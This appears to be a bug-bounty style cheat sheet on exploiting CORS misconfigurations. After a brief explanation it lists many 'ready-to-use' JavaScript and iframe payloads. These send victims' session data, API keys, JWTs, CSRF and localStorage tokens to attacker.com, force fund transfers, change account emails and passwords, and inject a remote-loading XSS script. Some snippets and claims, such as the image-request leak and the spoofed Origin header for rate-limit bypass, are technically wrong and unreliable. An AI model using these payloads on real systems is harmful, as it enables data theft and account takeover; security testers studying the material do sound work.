CORS Misconfiguration
This issue is a CORS (Cross-Origin Resource Sharing) misconfiguration, which happens when a web server improperly allows requests from any external origin.
In this case, the API did not validate the Origin header and had Access-Control-Allow-Credentials: true, which means that an attacker could create a malicious website that sends requests to the API using the victim’s logged-in session. This could lead to unauthorized actions being performed on behalf of the victim, such as stealing data or making unwanted account changes.
How CORS Misconfiguration Works
The Misconfiguration
- If an API incorrectly allows any Origin (Access-Control-Allow-Origin: * or reflects any Origin), it becomes vulnerable.
- If Access-Control-Allow-Credentials: true is set, the browser includes the user’s cookies, session tokens, or authentication headers in cross-origin requests.
** How Attackers Exploit It**
- Victim logs into a website (e.g., bank.com)
- Victim visits attacker’s site (evil.com)
- Attacker’s site makes a hidden request to bank.com using JavaScript.
- Since bank.com has a CORS misconfiguration, the browser sends the victim's session with the request.
- The API executes the request as if the victim made it, exposing data or performing actions.
Example (Stealing User Data) A vulnerable API endpoint
GET https://bank.com/api/user-info
Response headers
Access-Control-Allow-Origin: *Access-Control-Allow-Credentials: true
Attacker’s JavaScript on evil.com
fetch("https://bank.com/api/user-info", {method: "GET",credentials: "include"}).then(response => response.text()).then(data => {fetch("https://attacker.com/steal", {method: "POST",body: data});});
The victim's personal data is stolen and sent to the attacker's server.
Exploiting CORS Misconfiguration
If an API is vulnerable to CORS misconfiguration with Access-Control-Allow-Credentials: true, an attacker can perform various attacks by making cross-origin requests on behalf of the victim. Below are different types of attacks with ready-to-use payloads for exploitation.
Stealing Private API Keys / Sensitive Data
Vulnerable Implementation A request to the API returns sensitive data when an arbitrary Origin is provided, and credentials are included. A request to the API returns sensitive data when an arbitrary Origin is provided, and credentials are included.
GET /endpoint HTTP/1.1Host: victim.example.comOrigin: https://evil.comCookie: sessionid=...HTTP/1.1 200 OKAccess-Control-Allow-Origin: https://evil.comAccess-Control-Allow-Credentials: true{"private API key": "sk_live_123456"}
Payload (Steal API Key)
A JavaScript request is made to the API, and the response is sent to an attacker-controlled server.
var req = new XMLHttpRequest();req.onload = function() {fetch("https://attacker.com/log?key=" + encodeURIComponent(this.responseText), { method: "GET" });};req.open('GET', 'https://victim.example.com/endpoint', true);req.withCredentials = true;req.send();
Unauthorized Fund Transfer via API
An API that handles financial transactions allows requests from any origin, leading to unauthorized transactions.
POST /transfer HTTP/1.1Host: bank.example.comOrigin: https://evil.comCookie: sessionid=...HTTP/1.1 200 OKAccess-Control-Allow-Origin: https://evil.comAccess-Control-Allow-Credentials: true
Payload (Force Money Transfer) A malicious script executes a fund transfer request using the victim’s credentials.
fetch("https://bank.example.com/api/transfer", {method: "POST",credentials: "include",headers: { "Content-Type": "application/json" },body: JSON.stringify({ to: "attacker", amount: 10000 })});
Money is transferred from the victim’s account to the attacker.
Account Takeover (Change Email & Reset Password)
The API allows email changes without additional verification, making account takeover possible.
POST /update-email HTTP/1.1Host: victim.example.comOrigin: https://evil.comCookie: sessionid=...HTTP/1.1 200 OKAccess-Control-Allow-Origin: https://evil.comAccess-Control-Allow-Credentials: true
Payload (Change Victim's Email) The attacker modifies the victim’s email address to one they control.
fetch("https://victim.example.com/api/update-email", {method: "POST",credentials: "include",headers: { "Content-Type": "application/json" },body: JSON.stringify({ email: "[email protected]" })});
The attacker changes the victim’s email, allowing full account takeover via password reset.
Extract CSRF Token & Bypass CSRF Protection
The API exposes CSRF tokens without proper restrictions, enabling attackers to steal them.
GET /get-csrf-token HTTP/1.1Host: victim.example.comOrigin: https://evil.comCookie: sessionid=...HTTP/1.1 200 OKAccess-Control-Allow-Origin: https://evil.comAccess-Control-Allow-Credentials: true{"csrf_token": "123abc"}
Payload (Steal CSRF Token & Use it) An attacker extracts the CSRF token and uses it to perform an unauthorized action.
fetch("https://victim.example.com/api/get-csrf-token", {method: "GET",credentials: "include"}).then(response => response.text()).then(csrfToken => {fetch("https://victim.example.com/api/change-password", {method: "POST",credentials: "include",headers: { "Content-Type": "application/json", "X-CSRF-Token": csrfToken },body: JSON.stringify({ new_password: "hacked123" })});});
The victim's CSRF token is stolen and used to change their password.
Extract JWT Tokens for Full Authentication Hijack
The API returns authentication tokens that can be used to take over accounts.
GET /get-token HTTP/1.1Host: victim.example.comOrigin: https://evil.comCookie: sessionid=...HTTP/1.1 200 OKAccess-Control-Allow-Origin: https://evil.comAccess-Control-Allow-Credentials: true{"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9"}
Payload (Steal JWT Token) An attacker intercepts the authentication token and uses it to log in as the victim.
fetch("https://victim.example.com/api/get-token", {method: "GET",credentials: "include"}).then(response => response.json()).then(data => {fetch("https://attacker.com/log", {method: "POST",body: JSON.stringify({ token: data.token })});});
The JWT token is stolen, allowing the attacker to authenticate as the victim
Rate-Limiting Bypass with CORS Abuse
Vulnerable API (Rate-Limited Requests) An API enforces rate limits based on IP but does not block cross-origin abuse.
POST /withdraw HTTP/1.1Host: bank.example.comOrigin: https://evil.comCookie: sessionid=...HTTP/1.1 200 OKAccess-Control-Allow-Origin: https://evil.comAccess-Control-Allow-Credentials: true
Payload (Flood API from Different Origins) An attacker bypasses rate limits by sending requests from multiple origins.
for (let i = 0; i < 1000; i++) {fetch("https://bank.example.com/api/withdraw", {method: "POST",credentials: "include",headers: { "Origin": "https://bypass-limit.com" },body: JSON.stringify({ amount: 100 })});}
Multiple withdrawal requests are sent, bypassing rate limits.
Persistent XSS Injection via API with CORS
An API allows profile updates without sanitizing inputs, leading to stored XSS.
POST /update-profile HTTP/1.1Host: victim.example.comOrigin: https://evil.comCookie: sessionid=...HTTP/1.1 200 OKAccess-Control-Allow-Origin: https://evil.comAccess-Control-Allow-Credentials: true
Payload (Inject XSS into Profile) A malicious script is injected into the victim’s profile.
fetch("https://victim.example.com/api/update-profile", {method: "POST",credentials: "include",headers: { "Content-Type": "application/json" },body: JSON.stringify({ bio: "<script src='https://attacker.com/payload.js'></script>" })});
When the victim or an admin visits the profile, the injected XSS script executes
Extract API Key via Null Origin & Iframe
Payload: Using data: URI Scheme The following exploit steals sensitive API responses using an iframe:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>var req = new XMLHttpRequest();req.onload = function() {location='https://attacker.com/log?key='+encodeURIComponent(this.responseText);};req.open('GET','https://victim.example.com/endpoint',true);req.withCredentials = true;req.send();</script>"></iframe>
Unauthorized API Actions via JavaScript Popup
Payload: Using window.open() By opening the target in a new window, an attacker can force API actions.
var win = window.open("https://victim.example.com/endpoint", "nullOriginWindow");setTimeout(() => {win.postMessage("exploit", "*");}, 2000);
Bypassing Content Security Policy (CSP) Using WebView
Payload: Injecting Exploit via Electron/Hybrid Apps If a mobile/web app whitelists "null" as an origin, an attacker can inject an exploit in WebViews.
<script>document.write('<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html, <script> var x = new XMLHttpRequest(); x.onload = function() { fetch("https://attacker.com/log", { method: "POST", body: x.responseText }); }; x.open("GET", "https://victim.example.com/endpoint", true); x.withCredentials = true; x.send(); </script>"></iframe>');</script>
Persistent Data Theft via LocalStorage & Null Origin
Payload: Extracting LocalStorage Data If the application stores tokens or session data in LocalStorage, it can be stolen via null origin iframe
<iframe sandbox="allow-scripts" src="data:text/html, <script>var token = localStorage.getItem('authToken');if (token) {fetch('https://attacker.com/steal?token=' + encodeURIComponent(token));}</script>"></iframe>
Full Account Takeover via null Origin CORS & CSRF Bypass
Payload: Change Victim’s Email If the API allows cross-origin requests with Access-Control-Allow-Credentials: true, an attacker can force the victim’s account email to be changed
<iframe sandbox="allow-scripts allow-forms" src="data:text/html, <script>var xhr = new XMLHttpRequest();xhr.open('POST', 'https://victim.example.com/api/update-email', true);xhr.withCredentials = true;xhr.setRequestHeader('Content-Type', 'application/json');xhr.send(JSON.stringify({ email: '[email protected]' }));</script>"></iframe>
Exploit XSS on Trusted Origin to Bypass CORS
fetch("https://trusted-origin.example.com/?xss=<script>var x=new XMLHttpRequest();x.onload=function(){fetch('https://attacker.com/log?data='+encodeURIComponent(x.responseText));};x.open('GET','https://victim.example.com/endpoint',true);x.withCredentials=true;x.send();</script>");
Wildcard Origin Attack - Extract API Key
var req = new XMLHttpRequest();req.onload = function() {fetch('https://attacker.com/steal?data='+encodeURIComponent(this.responseText));};req.open('GET','https://api.internal.example.com/endpoint',true);req.send();
Automated API Data Extraction via Fetch
fetch("https://api.internal.example.com/endpoint").then(response => response.text()).then(data => fetch("https://attacker.com/log", { method: "POST", body: data }));
Injecting Exploit via WebSocket - CORS Bypass
var ws = new WebSocket('wss://victim.example.com/socket');ws.onopen = function() {ws.send('GET /endpoint HTTP/1.1');};ws.onmessage = function(event) {fetch('https://attacker.com/log?data='+encodeURIComponent(event.data));};
Exploiting CORS on JSONP Endpoint
var script = document.createElement('script');script.src = "https://victim.example.com/api/jsonp?callback=stealData";document.body.appendChild(script);function stealData(response) {fetch('https://attacker.com/steal?data='+encodeURIComponent(JSON.stringify(response)));}
XHR with Referer Spoofing to Extract Data
var xhr = new XMLHttpRequest();xhr.open("GET", "https://victim.example.com/endpoint", true);xhr.setRequestHeader("Referer", "https://trusted-origin.example.com");xhr.onload = function() {fetch("https://attacker.com/log", { method: "POST", body: xhr.responseText });};xhr.send();
Abuse CORS in Mobile WebView
fetch("https://victim.example.com/endpoint", { credentials: "include" }).then(res => res.text()).then(data => fetch("https://attacker.com/steal", { method: "POST", body: data }));
Hidden Image Request to Leak API Data
new Image().src = "https://attacker.com/log?data=" + encodeURIComponent(fetch("https://victim.example.com/endpoint"));
Expanding the Origin in CORS Exploits
Vulnerable Implementation (Example 1) In this case, the server fails to properly validate the Origin header, allowing any prefix before example.com to be accepted. This is due to weak filtering logic on the backend.
Request:GET /endpoint HTTP/1.1Host: api.example.comOrigin: https://evilexample.comResponse:HTTP/1.1 200 OKAccess-Control-Allow-Origin: https://evilexample.comAccess-Control-Allow-Credentials: true{"[private API key]"}
Proof of Concept (Example 1)
The following script needs to be executed from evilexample.com to exploit this misconfiguration:
var req = new XMLHttpRequest();req.onload = reqListener;req.open('get','https://api.example.com/endpoint',true);req.withCredentials = true;req.send();function reqListener() {location='//attacker.net/log?key='+this.responseText;};
Vulnerable Implementation (Example 2)
Here, the server uses a flawed regular expression that does not properly escape the dot (.), leading to unauthorized access. Instead of correctly enforcing ^api.example.com$, the regex mistakenly allows any variation such as apiiexample.com.
Request:GET /endpoint HTTP/1.1Host: api.example.comOrigin: https://apiiexample.comResponse:HTTP/1.1 200 OKAccess-Control-Allow-Origin: https://apiiexample.comAccess-Control-Allow-Credentials: true{"[private API key]"}
Proof of Concept (Example 2)
To exploit this, the script must be executed from apiiexample.com:
var req = new XMLHttpRequest();req.onload = reqListener;req.open('get','https://api.example.com/endpoint',true);req.withCredentials = true;req.send();function reqListener() {location='//attacker.net/log?key='+this.responseText;};
Write-ups
-
CORS Misconfiguration leading to Private Information Disclosure
-
Cross-origin resource sharing misconfig | steal user information
-
Exploiting Misconfigured CORS (Cross Origin Resource Sharing)
-
Think Outside the Scope: Advanced CORS Exploitation Techniques